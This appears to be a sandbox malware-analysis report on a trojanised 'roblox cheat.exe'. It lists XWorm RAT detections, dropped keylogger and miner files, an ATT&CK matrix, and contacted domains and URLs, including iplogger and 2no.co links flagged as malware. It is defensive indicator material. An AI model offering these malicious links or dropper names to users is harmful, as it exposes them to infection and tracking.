Source: C:\Users\user\Desktop\roblox cheat.exe	Queries volume information: C:\Users\user\Desktop\roblox cheat.exe VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

Code function: 2_2_00B03495 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

2_2_00B03495

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Code function: 3_2_00007FF6C16C51A4 GetVersionExW,

3_2_00007FF6C16C51A4

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cheatinstaler cheatinstalerF6R54T.exe PID: 816, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Keyloger.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ msedge.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cheatinstaler cheatinstalerF6R54T.exe PID: 816, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Keyloger.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ msedge.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Native API	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	12 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	1 Obfuscated Files or Information	Security Account Manager	136 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	21 Software Packing	NTDS	221 Security Software Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
roblox cheat.exe	61%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT
roblox cheat.exe	100%	Avira	TR/Dropper.Gen
roblox cheat.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Temp\ msedge.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Temp\Keyloger.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ msedge.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Keyloger.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ msedge.exe	76%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT
C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe	76%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT
C:\Users\user\AppData\Local\Temp\Keyloger.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT
C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.firmaprofesional.com/cps0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://www.quovadisglobal.com/cps0	0%	URL Reputation	safe
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0	0%	URL Reputation	safe
http://repository.swisssign.com/	0%	URL Reputation	safe
http://www.accv.es/legislacion_c.htm0U	0%	URL Reputation	safe
https://wwww.certigna.fr/autorites/0m	0%	URL Reputation	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://www.quovadisglobal.com/cps	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl	0%	URL Reputation	safe
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	0%	URL Reputation	safe
http://crl.certigna.fr/certignarootca.crl01	0%	URL Reputation	safe
http://www.winimage.com/zLibDll	0%	URL Reputation	safe
https://setup.rbxcdn.comw	0%	Avira URL Cloud	safe
https://ecsv2.roblox.com/client/pbeesInSec	0%	Avira URL Cloud	safe
http://www.winimage.com/zLibDll1.2.11rbr	0%	Avira URL Cloud	safe
http://crl.securetrust.com/SGCA.crl	0%	Avira URL Cloud	safe
https://iplogger.org/	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayer	0%	Avira URL Cloud	safe
http://www.accv.es00	0%	URL Reputation	safe
https://client-telemetry.roblox.comHttpPointsReporterUrlBootstrapperWebView2InstallationTelemetryHun	0%	Avira URL Cloud	safe
https://cdn.iplogger.org/redirect/handshake.png	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html	0%	Avira URL Cloud	safe
https://counter.yadro.ru/hit?	0%	Avira URL Cloud	safe
http://tools.medialab.sciences-po.fr/iwanthue/index.php	0%	Avira URL Cloud	safe
https://setup.rbxcdn.com	0%	Avira URL Cloud	safe
https://client-telemetry.roblox.com9	0%	Avira URL Cloud	safe
https://client-telemetry.roblox.com	0%	Avira URL Cloud	safe
https://counter.yadro.ru/hit?q;t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396	0%	Avira URL Cloud	safe
https://2no.co/24RXx6H	100%	Avira URL Cloud	malware
http://www.roblox.com/om	0%	Avira URL Cloud	safe
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl	0%	Avira URL Cloud	safe
https://iplogger.org/preview/7c00c9b3d049350da3aca75cf5f83229	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=u4EPwlIfu5u%2FXXj0kRaPdkPJwH6VqTzmIykH2X9%2Fyuj1FCpzRnd4kOm6Jqn1GDDAN13dvkMlZJ9E0adkpSW7TqU2KldHQHU11YPPbJtFEHxZlyRQ0Vh6q2i%2Fu8W3Miwh0Hqm	0%	Avira URL Cloud	safe
http://crl.dhimyotis.com/certignarootca.crl	0%	Avira URL Cloud	safe
http://ocsp.accv.es	0%	Avira URL Cloud	safe
https://client-telemetry.roblox.comA	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapperD	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayerLMEMH	0%	Avira URL Cloud	safe
https://iplogger.org/privacy/	0%	Avira URL Cloud	safe
http://crl.xrampsecurity.com/XGCA.crl	0%	Avira URL Cloud	safe
http://www.roblox.com/	0%	Avira URL Cloud	safe
https://ecsv2.roblox.com/client/pbeTelemetryV2UrlRobloxTelemetrySendByBatchSizeRobloxTelemetryBatchS	0%	Avira URL Cloud	safe
http://www.roblox.com	0%	Avira URL Cloud	safe
https://curl.se/docs/http-cookies.html	0%	Avira URL Cloud	safe
https://client-telemetry.roblox.cominatorey	0%	Avira URL Cloud	safe
https://cdn.iplogger.org/favicon.ico	0%	Avira URL Cloud	safe
https://cdn.iplogger.org/redirect/logo-dark.png	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrappere:0.0ms)	0%	Avira URL Cloud	safe
https://client-telemetry.roblox.come	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/client-version/WindowsStudio64x	0%	Avira URL Cloud	safe
https://counter.yadro.ru/hit?t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396	0%	Avira URL Cloud	safe
https://wwww.certigna.fr/autorites/	0%	Avira URL Cloud	safe
https://curl.se/docs/alt-svc.html	0%	Avira URL Cloud	safe
https://cdn.iplogger.org/redirect/brand.png	0%	Avira URL Cloud	safe
https://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/cert	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper.	0%	Avira URL Cloud	safe
http://www.accv.es/legislacion_c.htm	0%	Avira URL Cloud	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayerons	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/client-version/WindowsStudio64	0%	Avira URL Cloud	safe
https://iplogger.org/rules/	0%	Avira URL Cloud	safe
http://bit.ly/1eMQ42U	0%	Avira URL Cloud	safe
http://www.cert.fnmt.es/dpcs/	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayerpany	0%	Avira URL Cloud	safe
https://s3.amazonaws.com/	0%	Avira URL Cloud	safe
https://2no.co/	100%	Avira URL Cloud	malware
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper.h	0%	Avira URL Cloud	safe
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapperate	0%	Avira URL Cloud	safe
https://2no.co/redirect-2	100%	Avira URL Cloud	malware
https://ecsv2.roblox.com/client/pbe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
counter.yadro.ru	88.212.201.198	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
edge-term4-ams2.roblox.com	128.116.21.3	true	false	unknown
2no.co	172.67.149.76	true	false	unknown
cdn.iplogger.org	172.67.132.113	true	false	unknown
www.google.com	172.217.18.4	true	false	unknown
d2v57ias1m20gl.cloudfront.net	18.239.18.53	true	false	unknown
ecsv2.roblox.com	unknown	unknown	false	unknown
client-telemetry.roblox.com	unknown	unknown	false	unknown
clientsettingscdn.roblox.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.iplogger.org/redirect/handshake.png	false	Avira URL Cloud: safe	unknown
https://counter.yadro.ru/hit?q;t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=u4EPwlIfu5u%2FXXj0kRaPdkPJwH6VqTzmIykH2X9%2Fyuj1FCpzRnd4kOm6Jqn1GDDAN13dvkMlZJ9E0adkpSW7TqU2KldHQHU11YPPbJtFEHxZlyRQ0Vh6q2i%2Fu8W3Miwh0Hqm	false	Avira URL Cloud: safe	unknown
https://2no.co/24RXx6	false		unknown
https://cdn.iplogger.org/favicon.ico	false	Avira URL Cloud: safe	unknown
https://counter.yadro.ru/hit?t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://setup.rbxcdn.comw	robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.securetrust.com/SGCA.crl	robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447552442.0000000001C26000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winimage.com/zLibDll1.2.11rbr	roblox cheat.exe, robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.firmaprofesional.com/cps0	robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445368599.0000000003FB3000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446863326.0000000003F8E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446558713.0000000003FB8000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449747424.0000000003FB9000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446944435.0000000003FA9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://iplogger.org/	chromecache_64.20.dr	false	Avira URL Cloud: safe	unknown
https://ecsv2.roblox.com/client/pbeesInSec	robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayer	robloxPX1instaler_DD2F4.log.2.dr	false	Avira URL Cloud: safe	unknown
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper	robloxPX1instaler_DD2F4.log.2.dr	false	Avira URL Cloud: safe	unknown
http://crl.securetrust.com/SGCA.crl0	robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447470573.0000000001C30000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://client-telemetry.roblox.comHttpPointsReporterUrlBootstrapperWebView2InstallationTelemetryHun	roblox cheat.exe, robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://crl.securetrust.com/STCA.crl0	robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447973577.0000000001C2E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1453858015.0000000001C2F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448193902.0000000001C2F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447552442.0000000001C26000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://curl.se/docs/hsts.html	roblox cheat.exe, robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://tools.medialab.sciences-po.fr/iwanthue/index.php	roblox cheat.exe, robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://client-telemetry.roblox.com	robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp, roblox cheat.exe, robloxPX1instaler_DD2F4.log.2.dr, robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://client-telemetry.roblox.com9	robloxPX1instaler.exe, 00000002.00000003.1446077514.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446318793.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445368599.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449216456.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454531878.000000000400D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://counter.yadro.ru/hit?	chromecache_64.20.dr	false	Avira URL Cloud: safe	unknown
http://www.quovadisglobal.com/cps0	robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446970284.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447534893.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446536022.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl	robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447470573.0000000001C30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://2no.co/24RXx6H	cheatinstaler cheatinstalerF6R54T.exe, 00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0	robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449706117.0000000003F63000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454276854.0000000003F64000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://setup.rbxcdn.com	robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.roblox.com/om	robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.org/preview/7c00c9b3d049350da3aca75cf5f83229	chromecache_64.20.dr	false	Avira URL Cloud: safe	unknown
http://crl.dhimyotis.com/certignarootca.crl	robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447390699.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446863326.0000000003F8E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447677703.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447206724.0000000003F92000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448098395.0000000003F85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.accv.es	robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447120080.0000000001C35000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapperD	robloxPX1instaler.exe, 00000002.00000003.1326917896.0000000004004000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.swisssign.com/	robloxPX1instaler.exe, 00000002.00000002.1453826248.0000000001C28000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446970284.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447973577.0000000001C2E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447534893.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1453858015.0000000001C2F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448193902.0000000001C2F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447552442.0000000001C26000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446536022.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448775676.0000000001C1D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://client-telemetry.roblox.comA	robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.org/privacy/	chromecache_64.20.dr	false	Avira URL Cloud: safe	unknown
http://www.roblox.com/	robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl	robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayerLMEMH	robloxPX1instaler.exe, 00000002.00000002.1454531878.000000000400D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ecsv2.roblox.com/client/pbeTelemetryV2UrlRobloxTelemetrySendByBatchSizeRobloxTelemetryBatchS	roblox cheat.exe, robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.roblox.com	robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/http-cookies.html	roblox cheat.exe, robloxPX1instaler.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.accv.es/legislacion_c.htm0U	robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449706117.0000000003F63000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454276854.0000000003F64000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://client-telemetry.roblox.cominatorey	robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.iplogger.org/redirect/logo-dark.png	chromecache_64.20.dr	false	Avira URL Cloud: safe	unknown
https://wwww.certigna.fr/autorites/0m	robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446863326.0000000003F8E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447206724.0000000003F92000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.accv.es0	robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449706117.0000000003F63000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454276854.0000000003F64000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrappere:0.0ms)	robloxPX1instaler.exe, 00000002.00000003.1326917896.0000000004004000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
